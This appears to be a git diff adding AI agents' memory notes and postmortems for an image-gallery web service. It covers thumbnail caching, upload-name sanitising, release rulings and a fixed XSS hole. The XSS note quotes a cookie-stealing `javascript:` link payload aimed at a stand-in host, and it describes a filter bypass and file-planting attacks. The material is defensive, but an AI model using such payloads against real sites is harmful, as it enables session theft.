|
||||
- **No cap on rail row count.** 1,000 groups of two renders 1,000 rows and
|
||||
passes the median guard. Largest live booth is 66 items; picking a cap without
|
||||
a booth that needs one is the invented work the roadmap gate prevents.
|
||||
- **`Item.group` sits mid-dataclass.** Two arms flagged the positional-construction
|
||||
break and both correctly tagged it robustness with the caller outside the
|
||||
bundle. **There is no such caller** — `Item(` appears at exactly one site,
|
||||
keyword-only. Category-5 triage: not adopted, grep recorded.
|
||||
|
||||
## Held for design-dev, not fixed
|
||||
|
||||
`.rail` is sticky with no `scroll-margin`, so a fragment jump parks the target —
|
||||
and the `:target` outline meant to show where it landed — UNDER the rail. Real,
|
||||
one line, and in the stylesheet he is rewriting from scratch. Routed to him.
|
||||
|
||||
## Seat miss, reported back
|
||||
|
||||
Two arms flagged that Heid's canon G1 says Flask while the service is FastAPI —
|
||||
carried from an earlier booth-round template. Hulda handled it by reading the
|
||||
bundle rather than the canon.
|
||||
@@ -0,0 +1,56 @@
|
||||
# The cache that aged the thing it cached
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
**Thumbnails: 77.5 MB → 0.78 MB on the biggest gallery, ~100 MB → 1.12 MB on
|
||||
the Desk.** The operator found the defect in about a minute of using the live
|
||||
redesign. Two lessons, and the second nearly shipped.
|
||||
|
||||
## ⚠ LESSON 1 — we parked it on a count and the cost was in the bytes
|
||||
|
||||
ROADMAP parked progressive loading on *"the largest gallery is 66 images; at
|
||||
that size a lazy grid is almost certainly fine"*, and the parking-lot row said
|
||||
*"270 `<img loading=lazy>` may be fine."* **Both count IMAGES. Neither weighs
|
||||
BYTES.** 66 is a fine count sitting on 77.5 MB of 1024×1024 PNGs rendered at
|
||||
250px — roughly 16× the pixels that reach the screen.
|
||||
|
||||
The rule "measure the real booth before optimising it" was followed and still
|
||||
produced the wrong answer, because **we measured the dimension that was easy to
|
||||
measure rather than the one that determines the experience.** Before parking
|
||||
anything on a measurement again, ask what the user would actually feel.
|
||||
|
||||
## ⚠ LESSON 2 — a cache INSIDE the thing it describes can age it, and excluding the cache is not enough
|
||||
|
||||
`.thumbs/` lives inside the booth on purpose, so it is swept with the booth and
|
||||
can never outlive what it describes. But `_newest_mtime` — which feeds
|
||||
`is_expired`, which feeds `rmtree` — walks the booth, so **the server writing a
|
||||
cache on a mere view counted as the operator touching the booth.**
|
||||
|
||||
**The first fix passed its own test and was still wrong.** Excluding every path
|
||||
under `THUMB_DIR` does not help, because **creating the directory touches the
|
||||
BOOTH DIRECTORY's own mtime**, and `_newest_mtime` SEEDS from exactly that. The
|
||||
cache's contents were excluded; its *existence* was the leak.
|
||||
|
||||
The fix restores the booth's stamp across the `mkdir`. That cannot hide real
|
||||
activity: any file an agent adds is counted by its own mtime in the same walk,
|
||||
so the directory stamp is only a seed.
|
||||
|
||||
**The blast radius if it had reached the Desk.** The Desk pulls a preview
|
||||
thumbnail per booth, so ONE INDEX LOAD would have pushed EVERY booth's expiry
|
||||
out — the TTL would never fire again and nothing would ever sweep. Caught by
|
||||
design-dev from the outside, hours before the strip landed; verified after the
|
||||
fix on the live set: **29 booths, two Desk loads, 22 caches generated, 0 clocks
|
||||
moved.**
|
||||
|
||||
`.viewed` counting as activity is different and deliberate — that is a record of
|
||||
a *person* looking, which U4 says is activity. **A server-written derived cache
|
||||
is machinery, like the `.lock` sidecars already excluded.** Any future cache
|
||||
inherits this: exclude it from the clock AND preserve the parent's stamp.
|
||||
|
||||
## A third, smaller one: the dot-namespace was only skin deep
|
||||
|
||||
`booth_items` and `zip_booth` both tested `p.name.startswith(".")` — the FILE's
|
||||
name — so `.thumbs/a.png` (name `a.png`) would have rendered as a gallery item
|
||||
and shipped inside every zip download. CLAUDE.md invariant 2 promises a dotfile
|
||||
costs nothing in item counts, galleries or zips; **that was true only at the top
|
||||
level.** Both now skip every dot-prefixed path COMPONENT.
|
||||
@@ -0,0 +1,68 @@
|
||||
# The flow rulings, and what they cost the beta
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
**All four ruled, all four taking design-dev's recommendation, no notes
|
||||
attached.** Relayed via Miranda (D-0016) with the instruction that **the
|
||||
operator will not brief design-dev directly and booth-dev is the SOLE RELAY.**
|
||||
|
||||
| question | choice | label |
|
||||
|---|---|---|
|
||||
| `direction` | `a_b` | A + B's reel as the review mode |
|
||||
| `compare` | `this_arc` | Build it in this arc, after A/B land |
|
||||
| `voice` | `plain` | Plain and direct |
|
||||
| `emblem` | `no` | No |
|
||||
|
||||
Answered `2026-09-23T08:07:40-07:00`, `complete: true`, `unanswered: []`.
|
||||
**Verbatim copy committed at `docs/rulings/2026-09-23-flow-direction.json`** —
|
||||
see the durability note below for why that is not belt-and-braces.
|
||||
|
||||
## ⚠ ANSWERING A PICK REMOVES THE HOLD THAT WAS PROTECTING THE RECORD
|
||||
|
||||
U4's hold predicate is "has an open pick" — a booth waiting on the operator does
|
||||
not sweep. **The moment he answers, it stops being held**, so a booth's
|
||||
lifetime is shortest exactly when it has just become valuable: before the answer
|
||||
it is a question, after the answer it is the RECORD OF A DECISION, and only the
|
||||
first state is protected.
|
||||
|
||||
`booth-flow-concepts` held the ratified design AND the operator's recorded
|
||||
answer, with `.forever=NO` and zero open picks — sweep-eligible within minutes
|
||||
of the ruling. Same shape as round 1, arriving by a different route:
|
||||
`booth-svos-retheme` lost its hold when design-dev WITHDREW his ask; this one
|
||||
lost it when the operator ANSWERED. Two different actions, one exposure.
|
||||
|
||||
The durable copy now lives in git rather than in a booth. **This is not a bug
|
||||
report against U4** — an answered question genuinely is not waiting on anyone —
|
||||
but it is a real question about whether "held" is the right predicate for a
|
||||
booth that has become a record. Flow and requirements are design-dev's now, so
|
||||
it is his to weigh; raised to him rather than patched by us.
|
||||
|
||||
## What the rulings cost the version
|
||||
|
||||
**`v1.0.0b1` promised "feature-complete, no new features, the remaining work is
|
||||
bugs."** A flow redesign plus compare mode is not that. Three things follow:
|
||||
|
||||
1. **The tag stays exactly as written.** It records what was believed on
|
||||
2026-09-22, not a claim about today. Rewriting a released tag to flatter the
|
||||
present is how a version stops being evidence.
|
||||
2. **Dropping back to an alpha is NOT available.** `1.0.0a2` sorts BELOW
|
||||
`1.0.0b1` and versions do not go backwards. The policy's "if you are adding
|
||||
features to a release candidate, it was never a release candidate" advice has
|
||||
no legal expression here.
|
||||
3. **No further pre-release until the arc lands.** Commits accumulate; the next
|
||||
tag is whatever is honest when there is something to release.
|
||||
|
||||
**Whether `1.0.0` waits for the redesign is the operator's and is NOT YET
|
||||
MADE.** Our recommendation is that it does: he treats this as one arc (the
|
||||
standing no-announcements ruling says "until the entire arc is done"), and
|
||||
cutting the 1.0 milestone on a UI he rejected as "still looks like the booth"
|
||||
would make the milestone mean something he does not endorse.
|
||||
|
||||
## Compare mode left the parking lot, and the deferral was OURS
|
||||
|
||||
Parked since the v1 gate as "the only new capability rather than a fix for a
|
||||
measured defect." design-dev argued it belongs in this arc; the operator agreed.
|
||||
ROADMAP records **that it was his call that moved it**, so nobody re-parks it by
|
||||
reading the older rule. Practically: the item-record work compare needs is in
|
||||
scope for us, not deferred, and he tells us what a compare view wants from
|
||||
`booth_items` rather than working around the current shape.
|
||||
@@ -0,0 +1,52 @@
|
||||
# The probe that nearly dismissed a live injection vector
|
||||
|
||||
_2026-09-23 · booth_
|
||||
|
||||
**The standing link board rendered agent-written hrefs with no scheme guard.**
|
||||
Seventeen handles append to `links.md` and the operator clicks its rows, so
|
||||
`javascript:document.location='http://evil.test/'+document.cookie` was a
|
||||
clickable link executing in the Booth's own origin. `//evil.test/x` and
|
||||
`data:text/html,…` rendered too.
|
||||
|
||||
Found by **design-dev**, in passing, in code his unit does not touch. Fixed the
|
||||
same hour: `links.py` derives `is_safe_href` once per row, the template links
|
||||
only when it is true, and a refused row still renders inert and labelled —
|
||||
the operator should see that something was posted and that we would not link it.
|
||||
|
||||
## ⚠ THE NEAR-MISS IS THE PART WORTH KEEPING
|
||||
|
||||
**We probed with `javascript:alert(1)`, watched it get refused, and almost
|
||||
closed the finding as already-guarded.**
|
||||
|
||||
It is refused — **by the markdown link regex.** `alert(1)`'s parentheses break
|
||||
`](...)`, so the row never parses. That is an accident of syntax, not a guard,
|
||||
and it refuses exactly the payload everybody reaches for first.
|
||||
`javascript:x=1` walks straight through.
|
||||
|
||||
**Generalise it: a negative result from the most obvious probe is the least
|
||||
trustworthy kind.** The canonical payload is canonical because it is memorable,
|
||||
not because it is representative — and a filter that happens to catch the
|
||||
memorable one looks exactly like a filter that works. The `is_safe_href`
|
||||
docstring now tells the next person not to re-probe it with anything containing
|
||||
brackets.
|
||||
|
||||
## The second trap: a guard that answers a different question
|
||||
|
||||
`booth_target` HAS an `http(s)` scheme check (`links.py:236`) and it is NOT this
|
||||
guard. It answers *which booth does this URL name*, so it refuses every
|
||||
legitimate off-board link and can never serve as a render-safety test. Reading
|
||||
the codebase for "is there a scheme check" finds it and stops.
|
||||
|
||||
**Two things that look like the guard were in the way of finding there wasn't
|
||||
one.** That is what made this survive as long as it did.
|
||||
|
||||
## Shape of the fix, for the next one
|
||||
|
||||
Derived ONCE in `links.py` and carried on the row, not decided in the template —
|
||||
the same one-resolver discipline U1 states for item facts. A template that
|
||||
decides safety is a second place for the rule to be wrong.
|
||||
|
||||
`.blurred`'s round-trip weakness (one stripped rel per line, so `" a.png"` can
|
||||
blur `a.png`) was found in the same pass and is **NOT fixed** — it needs a
|
||||
format migration and that does not belong in the same hour as a merge. Recorded
|
||||
in CLAUDE.md beside `.seen`, which was written as JSON for exactly that reason.
|
||||
@@ -0,0 +1,44 @@
|
||||
# Thumbnails sized for the tile's width at 2x, not 512 on the long side
|
||||
|
||||
_2026-09-23. Operator on sindra-nude-final: "the images look blurry until
|
||||
they're selected and blown up." Commits `c2b1454`, `c19d8c9`, merged
|
||||
`1d31ab0`._
|
||||
|
||||
## The measurement
|
||||
|
||||
- The cap was 512px on the LONGEST side. Tiles are sized by WIDTH (`width:100%;
|
||||
height:auto`).
|
||||
- Chromium put desktop tiles at 321-361 CSS px (3 columns, 1440px viewports
|
||||
and up), 324-472 at 2 columns, and up to 650 at 1 column (measured across a
|
||||
360-2560 viewport sweep).
|
||||
- A 704x1408 portrait got a 256-wide thumbnail: stretched 1.4x at 1x density
|
||||
and 2.8x on a 2x screen.
|
||||
- The live sizes are mostly 704x1408, 896x1216, 832x1216 and 1024x1024
|
||||
portraits (368 images sampled).
|
||||
|
||||
## The rule
|
||||
|
||||
- `THUMB_WIDTH = 768` (2x the widest desktop tile) and `THUMB_HEIGHT_MAX =
|
||||
4096`.
|
||||
- An original that fits is served as-is only when it's also light (<=64 KB;
|
||||
768-wide thumbnails average 39 KB) or animated.
|
||||
- `tests/test_thumbs_browser.py` binds 768 to the rendered grid at 1440, 1920
|
||||
and 2560.
|
||||
- Cost across all 381 live images: 4.8 → 14.2 MB at 768; 1024 would have been
|
||||
18.5 MB. Live rebuild: 14.5 MB, 369 webp and 12 originals, 9 s.
|
||||
- **The operator kept 768 (2026-09-24).**
|
||||
|
||||
## heid bug-hunt (4/4, five seat-executed probes) → `c19d8c9`
|
||||
|
||||
- A cache hit must be a REGULAR file with its source's EXACT mtime. A planted
|
||||
directory was served as the thumbnail, and `cp -p` pinned stale ones
|
||||
forever.
|
||||
- The cache dirs are made component by component without following links. A
|
||||
`.thumbs` link put the cache outside the booth.
|
||||
- The temp file is mkstemp. `<out>.<pid>.tmp` was plantable as a link: 600 B
|
||||
became 316,400 B.
|
||||
- Palette transparency survives. This one was INTRODUCED by `c2b1454`'s
|
||||
fits-but-heavy branch.
|
||||
- EXIF orientation is honoured.
|
||||
- A 64 MP decode budget.
|
||||
- The whole rule is in the cache name: `.768x4096q78v2.webp`.
|
||||
@@ -0,0 +1,40 @@
|
||||
# The r3 seam pass: what only it could see
|
||||
|
||||
_2026-09-24. Contract `docs/contracts/r3_compare.contract.md` (design-dev);
|
||||
althing thread `01M3952NCDRRJX5XDFSPMSP5HJ`._
|
||||
|
||||
design-dev's heid contract panel read r3 cold. Our seam pass read it against
|
||||
the real `app.py`, `items.py`, `base.html` and `view.html`, plus small probes
|
||||
on a scratch booth. It found 12 mismatches, all folded before a line of code.
|
||||
The build then went through heid code-review and bug-hunt, and our own gate,
|
||||
with nothing structural left. design-dev: "S4 and S8 would each have cost a
|
||||
round."
|
||||
|
||||
## The ones worth remembering, because they recur
|
||||
|
||||
- **`data-region` ids must be unique on a page.** The in-place client's
|
||||
`swap()` in `base.html` keeps only the FIRST fresh node for each id, then
|
||||
replaces EVERY live node that has that id with a copy of it. Two per-side
|
||||
regions sharing an id would make B's flag button a copy of A's after any
|
||||
save, so pressing B flags A, with nothing to show it happened. Also: do not
|
||||
key a region by rel (a pair with `a == b` duplicates it) and do not prefix
|
||||
it `item-` (swap reads a missing `item-*` as a stale tile, not a reload).
|
||||
This is a mechanical rule that belongs in CLAUDE.md; it is not there yet.
|
||||
- **Moving code breaks mutation anchors.** 21 of r2c's 24 `view.html` rows
|
||||
were anchored inside the inline script that r3 moved to `_stage_js.html`,
|
||||
and `mutation_check.py` fails a row whose anchor is gone. A contract that
|
||||
moves code must list the re-pointed rows in its "Assertions that change"
|
||||
table, and gate on the table still falsifying, not only on the suite staying
|
||||
green.
|
||||
- **"404 the way view does" was two rules, and neither was view's.** A
|
||||
missing `f` is a 422 from FastAPI (required `str`), not a 404; declare
|
||||
`= ""` and 404 by hand. `booth_items` follows symlinks, so a link pointing
|
||||
outside the booth is IN `review_chain`, while view 404s it through
|
||||
resolve plus containment. Compare needed the conjunction.
|
||||
- **Route order.** `/b/{name}/{filepath:path}` is a catch-all; a new
|
||||
`/b/{name}/<word>` route must register before it. A booth file literally named
|
||||
`<word>` becomes unreachable (accepted, as for view/marks/asks/embed.json).
|
||||
- **A resolve done twice is a race.** After the merge, the review route checked
|
||||
`f` and then resolved the whole ring again, so `cring.index(f)` could raise
|
||||
(a 500) when a file vanished in between. design-dev's `d54bb04` judges each
|
||||
rel once per request.
|
||||
@@ -0,0 +1,55 @@
|
||||
# Upload names: two crashes found, then two holes in the fix
|
||||
|
||||
_2026-09-24. Commits `92c774e`, `225ba32`; heid bug-hunt thread `01M3AXG27KQDMA6P3RTAAYMEHP`._
|
||||
|
||||
## What was wrong
|
||||
|
||||
design-dev's r3 bug hunt (hulda) found that `/upload` returned a 500 for a
|
||||
multipart filename carrying a NUL: `safe_upload_name` stripped path, dots and
|
||||
length but not NUL, and `(dest / name).open("wb")` raised ValueError. The
|
||||
upload's `except Exception` tore the booth down and re-raised.
|
||||
|
||||
Fixing it turned up a second 500 on the same line: the cap was
|
||||
`base[:200]`, 200 CHARACTERS. NAME_MAX is 255 BYTES, so 200 two-byte
|
||||
characters (`é`, or any CJK name) raised ENAMETOOLONG.
|
||||
|
||||
## The first fix, and the two holes a single arm found in it
|
||||
|
||||
`92c774e` stripped NUL first, then applied the dot rule, then capped at 200
|
||||
UTF-8 bytes via `encode("utf-8", "surrogatepass")[:200].decode("utf-8",
|
||||
"ignore")`, taking the cut out of the stem so the extension survived.
|
||||
|
||||
Heid's own review of that diff found nothing. hulda, reading the whole snapshot
|
||||
against the declared invariants, found:
|
||||
|
||||
1. **The surrogate was dropped LAST.** The final `decode("ignore")` removed a
|
||||
lone surrogate after `lstrip(".")` had already run, so `"\ud800.forever"`
|
||||
came out as `.forever`, which is the keep marker, and `"\ud800.."` as `..`.
|
||||
The NUL had been moved first for exactly this reason; the same discipline
|
||||
was not applied to the other droppable class. It was not reachable over HTTP:
|
||||
Starlette decodes a multipart filename strictly (utf-8, else latin-1), so it
|
||||
never yields a lone surrogate. The fix made the helper right by construction
|
||||
anyway.
|
||||
2. **A cut could manufacture a kind.** A suffix too long to keep (>16 bytes)
|
||||
was cut like text, and the cut could land on a shorter suffix that means
|
||||
something: `"a"*196 + ".png" + "x"*17` became `….png`, an image.
|
||||
3. The 16-byte extension threshold was unguarded: every test suffix was 4
|
||||
bytes, so `<= 4` survived. A `.jpeg` case now pins it.
|
||||
|
||||
`225ba32` does one pass first (NUL and everything unencodable), then basename
|
||||
and the dot rule, then the byte cap. A cut whose `classify`/`doc_kind` differs
|
||||
from the original's has its dots replaced with `_`. Falsifiers:
|
||||
`tests/mutations/upload_names.toml`, 7/7.
|
||||
|
||||
## The lessons
|
||||
|
||||
- **A sanitiser drops everything droppable FIRST, then applies the structural
|
||||
rules.** Anything dropped after a rule can defeat that rule.
|
||||
- **A NUL test through httpx `files=` proves nothing.** httpx
|
||||
percent-escapes the NUL, so the server sees a literal `%00`. Post a raw
|
||||
multipart body. The first integration test passed pre-fix for this reason.
|
||||
- **Truncating by length can change a file's meaning.** In the Booth the kind
|
||||
comes from the extension, so a cut has to preserve the kind, not only the
|
||||
byte count.
|
||||
- **The single-arm hunt earned its cost.** Heid's own read traced only the
|
||||
hunks; hulda read the declared invariants against the whole bundle.
|
||||
+83
-64
@@ -1,6 +1,6 @@
|
||||
# Persistent memory — booth
|
||||
|
||||
_Last updated: 2026-09-22_
|
||||
_Last updated: 2026-09-25_
|
||||
|
||||
> **Always check for `/tmp/booth-dev-handoff.md`** — if it exists and its
|
||||
> `Written:` stamp is under 8 hours old, read it (it carries the in-flight
|
||||
@@ -17,73 +17,89 @@ loop it turned out to actually be.
|
||||
|
||||
## Current state / in-flight
|
||||
|
||||
_As of 2026-09-22:_
|
||||
_As of 2026-09-25:_
|
||||
|
||||
- 🟢 **NOTHING IS IN FLIGHT** (shutdown snapshot, 2026-09-25). The tree is
|
||||
clean, no branch or worktree is open, and no peer is waiting on booth-dev.
|
||||
main is ONE memory commit ahead of origin (this snapshot), unpushed: the
|
||||
push is the operator's call.
|
||||
- ✅ **r3 COMPARE IS LIVE AND PUSHED** (operator: "merge r3 once the mutation
|
||||
check is clean", then "merge and push", 2026-09-24). origin/main is the r3
|
||||
arc's tip: r3 (`f8d136a`), design-dev's race fix (`d54bb04`: one compare ring
|
||||
per request, the review's Compare control hidden when its item vanished
|
||||
mid-request, and a NUL in a raw file path returning 404) and our upload-name fix
|
||||
(`225ba32`). The gate on that exact tip: 928 passed, and 245/245 falsifiers
|
||||
across all 8 tables. The service was restarted at 1804. Our seam pass on the
|
||||
contract caught 12 mismatches before code; the two that mattered were
|
||||
duplicate `data-region` ids (a save would have made B's flag button flag A)
|
||||
and 22 mutation-table rows anchored in the script that moved.
|
||||
→ `persistent-memory.d/2026-09-24-r3-seam-pass-what-only-it-could-see.md`
|
||||
- ✅ **Pushed on 09-23 (`d5ead3f`, 888 green).** Landed that night, in
|
||||
order: r2b merge 1 (`b92b002`, reveal all + booth fog), r2b merge 2
|
||||
(`cce6a20`, Desk row + dates + theme toggle), the Desk sort (`64f6488`), the
|
||||
blur round-trip (`6880ab3`), 768-wide thumbnails (`1d31ab0`), r2c the review
|
||||
stage (`fde082e`), and strict blur writes (`8a78a9b`).
|
||||
- ⚠ **A peer's relayed "merge it" or "push now" is NOT the operator's
|
||||
approval.** The permission layer refused a merge on design-dev's word alone
|
||||
(r2b), and design-dev's relay of "approve r2c, push now" was held until the
|
||||
operator said it here. Miranda is the only named relay.
|
||||
- ⚠ **DO NOT SWEEP `:8090` WITH GETS OF BOOTH PAGES.** Each GET records a look.
|
||||
Two sessions did it on 2026-09-23, which emptied "new since you looked" and
|
||||
collapsed the Desk. Check live with `/healthz`, `/` and `?thumb=1`; check
|
||||
pages on an rsync'd COPY (CLAUDE.md "Working in here").
|
||||
- ✅ **THE BLUR SET ROUND-TRIPS ANY REL** (operator: "fix the blur"). It lives
|
||||
in `.blurred.json` through stdlib-only `booth/blur.py`: one writer and one
|
||||
`check_rel` for the service and `booth blur`. The legacy `.blurred` is read
|
||||
as lines, only while no `.blurred.json` exists, and the first write retires
|
||||
it. Writes are strict (`_load`) and the reader is lenient. Mechanics live in
|
||||
CLAUDE.md invariant 2. `booth blur <name>` with NO files fogs the whole booth
|
||||
(`.blurbooth`), which composes with the per-item set and never overrides it. **Still ours, not done, not scheduled:** "off" means
|
||||
ON for /blur and /blurbooth but OFF for /flag (forms only send 0/1), and the
|
||||
CLI's `.blurbooth` `touch` still follows a symlink where the service no
|
||||
longer does. Recorded in `4cfbce5`'s message; raise them with the operator
|
||||
before starting.
|
||||
- ✅ **THUMBNAILS: 768 wide, capped at 4096 tall, and the operator KEPT 768**
|
||||
(2026-09-24; do not re-raise it). `tests/test_thumbs_browser.py` binds 768
|
||||
to the rendered tile width, so a redesign that widens tiles turns it red.
|
||||
The cache is planting-proof (heid 4/4 folded). 381 live thumbnails, 14.5 MB.
|
||||
→ `persistent-memory.d/2026-09-23-the-cache-that-aged-the-thing-it-cached.md`
|
||||
- ⚠ **THE BROWSER SUITE WAS FLAKY UNDER LOAD; THE CAUSE IS STILL UNCONFIRMED.**
|
||||
The offline test browser (in `b92b002`) gives 0 reds in 24 against a pre-fix
|
||||
rate of ~1 in 8, which is consistent with the fix and nothing more. **Do not
|
||||
read a green suite as proof.**
|
||||
→ `persistent-memory.d/2026-09-23-the-browser-suite-is-flaky-under-load.md`
|
||||
- ⚠ **`sindra-nude-final` and `sindra-nude-pool` were fogged at 21:44 on
|
||||
09-23**, minutes after the control went live. It wasn't booth-dev;
|
||||
presumably the operator, as he said he would. **Do not blur, unblur or
|
||||
reveal them on his behalf.** The Desk still shows up to 4 images per booth.
|
||||
- 🛑 **NO `1.0.0` YET** (operator, 2026-09-23). The tag stays `1.0.0b1`, with
|
||||
no further pre-release until the arc lands. r3 compare, the last unit we
|
||||
held named in it, landed 2026-09-24; **whether that closes the arc is the
|
||||
operator's call, never ours.** ⚠ It has looked complete twice already.
|
||||
- 🛑 **STANDING: NO ANNOUNCEMENTS out of this repo until the whole arc is done,
|
||||
and the operator sends that one himself.** Do not offer, draft-and-await, or
|
||||
raise it.
|
||||
- ⚠ **Read a staged ref, never a SHA written here.** design-dev rebases in
|
||||
place: `git show-ref | grep design-dev`, then `git merge-tree`.
|
||||
|
||||
- **U6 SHIPPED (`v0.6.0`) with a late fix (`v0.6.1`). PUSHED.** `main` and both
|
||||
tags are on `origin` as of 2026-09-22 — the tree is no longer single-copy.
|
||||
→ `persistent-memory.d/2026-09-22-u6-benches-released.md`
|
||||
- **THE OPERATOR RULED ON EVERYTHING OUTSTANDING (2026-09-22, "accept all
|
||||
recs").** Four of five settled and executed; one blocked by the permission
|
||||
layer. Nothing is waiting on him. →
|
||||
`persistent-memory.d/2026-09-22-operator-ruled-on-the-open-five.md`
|
||||
- ✅ **U7 IS LANDED — ALL SEVEN v1 UNITS ARE IN.** The fourth component
|
||||
(filename-prefix groups) is built; `test_no_group_rail_is_shipped_yet` was
|
||||
deleted in the same commit, as required.
|
||||
→ `persistent-memory.d/2026-09-22-u7-landed-and-a-table-that-did-not-reproduce.md`
|
||||
- 🔶 **THE 1.0 CUT IS NOW A DECISION, NOT A DEPENDENCY, AND IT IS HIS.** The v1
|
||||
target is met. A major bump needs explicit operator approval; nothing in the
|
||||
code is waiting on it. The open fork: cut `1.0`, or stage a `0.7.0` first.
|
||||
**Not bumped — the work is committed as commits, which are not releases.**
|
||||
- ⚠ **U7'S CONTRACT CARRIED A MEASUREMENT THAT DID NOT REPRODUCE**, and it was
|
||||
the number the scope departure rested on. The stated rule gives 24 and 27
|
||||
groups where the table claimed 5 and 1; the table was assembled from two
|
||||
different heuristics. **A cold contract-review panel cannot catch this** — the
|
||||
artifact is internally plausible. Re-run any measurement a contract's scope
|
||||
rests on before implementing it. Same detail file.
|
||||
- ⚠ **A MUTATION HARNESS NEEDS A GREEN BASELINE AND CACHE DEFEAT**, or it
|
||||
certifies falsifiers without running them. Both defects bit in one session.
|
||||
→ `persistent-memory.d/2026-09-22-a-mutation-harness-that-certified-a-broken-test.md`
|
||||
- **639 tests green; 12/12 new falsifiers mutation-proved. Deployed; 21/21
|
||||
booths 200.** ⚠ The set churned again mid-session (19 → 21).
|
||||
- 🔶 **A bug-hunt panel is IN FLIGHT** — heid thread `01M368G2Y0JMTJ2T7M3JMTXV5Z`,
|
||||
dispatched 2026-09-22 21:31 PDT over the U7-groups diff. If its reply has not
|
||||
been consumed, drain `/althing:inbox` and triage before treating U7 as closed.
|
||||
- 🛑 **STANDING RULING — NO ANNOUNCEMENTS OUT OF THIS REPO, AND THE OPERATOR
|
||||
SENDS THE EVENTUAL ONE HIMSELF** (operator, 2026-09-22). Verbatim: *"no
|
||||
announcements until the entire arc is done, and even then i'll do it myself."*
|
||||
Two clauses, both binding: **(a)** no althing announcement of any kind ships
|
||||
from booth-dev until the v1 arc is COMPLETE — not per-unit, not at the 1.0
|
||||
tag, not "just the peers who consume it"; **(b)** when the arc IS done, the
|
||||
announcement is HIS to send, not a thing to ask permission for. This is
|
||||
STRICTER than `~/.claude/CLAUDE.md`'s broadcast gate, which merely requires
|
||||
approval — here the send is not the agent's to make at all, so *asking* is
|
||||
also out of scope. Do not offer, draft-and-await, or surface it as a pending
|
||||
decision; it is settled and not a standing question.
|
||||
**The 17-handle `booth link` note is consequently REASSIGNED, not blocked.**
|
||||
The full draft + recipient list stays at
|
||||
`docs/pending/fleet-note-booth-link-refusal.md` as MATERIAL FOR HIM. It is no
|
||||
longer an open loop, no longer awaiting approval, and no longer a thing to
|
||||
raise. Same for anything U4's `keep`-semantics change would have warranted
|
||||
telling peers.
|
||||
- ⚠ **NOT SEEDED, and this survives the blanket ruling.** "No seeding yet" was a
|
||||
SPECIFIC prior instruction, not a recommendation of mine, so "accept all recs"
|
||||
does not override it. `.benches.json` does not exist in `~/booth-data`.
|
||||
- **A U7 directive (D-0011) misrouted to infra-ops and is SUPERSEDED.** Miranda
|
||||
confirmed directly. Nothing to act on.
|
||||
→ `persistent-memory.d/2026-09-22-a-directive-misrouted-by-pane-title.md`
|
||||
- ⚠ **THE 17 CONSUMING HANDLES WERE NEVER TOLD that `keep` stopped meaning
|
||||
"waiting on an answer"** — and the note above does not tell them either; it is
|
||||
about `booth link`. **This CHANGES HOW THE 2026-10-06 RE-COUNT READS**: a flat
|
||||
`.forever` rate does NOT falsify the diagnosis.
|
||||
- **Two dated predictions pending, not to be run early.** U5's adoption
|
||||
re-measure **2026-09-29**; the `.forever` re-count **on or after 2026-10-06**.
|
||||
- **FIVE `/heid*` methodology proposals sit with the operator**, untracked by
|
||||
his choice.
|
||||
- The booth set churns hard: 26 → 24 → 25 → 23 → **19**. Re-count rather than
|
||||
trusting any number here.
|
||||
|
||||
## Recent decisions
|
||||
|
||||
- `[2026-09-24]` ⏸ **The upload route's three lifecycle gaps: DEFERRED** — the pickup-id `mkdir` sits outside the try (a FileExistsError race), `rmtree(ignore_errors=True)` hides its own failure, and `except Exception` misses CancelledError. All three are rare; the operator was told and merged without them. Tracked in `225ba32`'s commit message.
|
||||
- `[2026-09-24]` ✅ **Upload names: two crashes found, then two holes in the fix** — READ BEFORE WRITING A SANITISER: drop everything droppable FIRST, then apply the structural rules; a NUL test through httpx `files=` proves nothing → `persistent-memory.d/2026-09-24-upload-names-two-crashes-then-two-holes.md`
|
||||
- `[2026-09-24]` ✅ **The r3 seam pass: what only it could see** — 12 contract-vs-code mismatches folded before code. READ BEFORE A CONTRACT THAT ADDS `data-region`S, MOVES TEMPLATE CODE, OR ADDS A `/b/{name}/<word>` ROUTE → `persistent-memory.d/2026-09-24-r3-seam-pass-what-only-it-could-see.md`
|
||||
- `[2026-09-24]` ✅ **r3 compare merged and pushed on the operator's word, gated by our own run** — fast-forward only to SHAs we had gated ourselves (`f8d136a`, then `225ba32`), never to design-dev's reported numbers.
|
||||
- `[2026-09-24]` ✅ **r3 compare ruled: pick two, flag the winner** — operator, in design-dev's session. No `booth_items` or marks work; the URL is rel-keyed. The A/same/B pairwise verdict is **PARKED (deferred)**, with our ordered-pair-of-rels note attached. Tracked in design-dev's r3 contract parked entry, althing thread `01M3952NCDRRJX5XDFSPMSP5HJ`.
|
||||
- `[2026-09-23]` ✅ **The Desk's "Everything else" sorts by last UPDATE, not last activity** — the operator chose the simple fix over repairing `.viewed` from the access log. READ BEFORE CHECKING THE LIVE SERVICE → `persistent-memory.d/2026-09-23-desk-sorts-by-last-update.md`
|
||||
- `[2026-09-23]` ✅ **The blur round-trip, and the migration that recreated the bug it fixed** — three rounds, and the third was our own 09-21 marks lesson repeated. READ BEFORE ANY DOTFILE FORMAT CHANGE → `persistent-memory.d/2026-09-23-blur-round-trip-and-the-migration-that-recreated-it.md`
|
||||
- `[2026-09-23]` ✅ **Thumbnails sized for the tile's width at 2x** — 768 is a layout number, held by a browser test; the operator kept it. READ BEFORE CHANGING TILE WIDTH OR THE THUMB RULE → `persistent-memory.d/2026-09-23-thumbnails-sized-for-the-tile.md`
|
||||
- `[2026-09-23]` ✅ **The four flow rulings, and what they cost the beta** — all four taking design-dev's recommendation; READ BEFORE CUTTING ANY RELEASE, because `v1.0.0b1`'s "no new features" promise no longer describes the arc and an alpha drop-back is illegal → `persistent-memory.d/2026-09-23-the-flow-rulings-and-what-they-cost-the-beta.md`
|
||||
- `[2026-09-23]` ✅ **Creation dates came from a syscall, after three guesses wearing a fact's clothes** — READ BEFORE REACHING FOR A PROXY; the system already recorded what looked unavailable, and one of the rejected proxies was a shape we had just finished paying for → `persistent-memory.d/2026-09-23-dates-and-the-guess-wearing-a-facts-clothes.md`
|
||||
- `[2026-09-23]` ⚠ **The browser suite is flaky under load — OPEN, owned by design-dev** — three tests, two real defects fixed, NEITHER proven causal; do not read a green suite as proof → `persistent-memory.d/2026-09-23-the-browser-suite-is-flaky-under-load.md`
|
||||
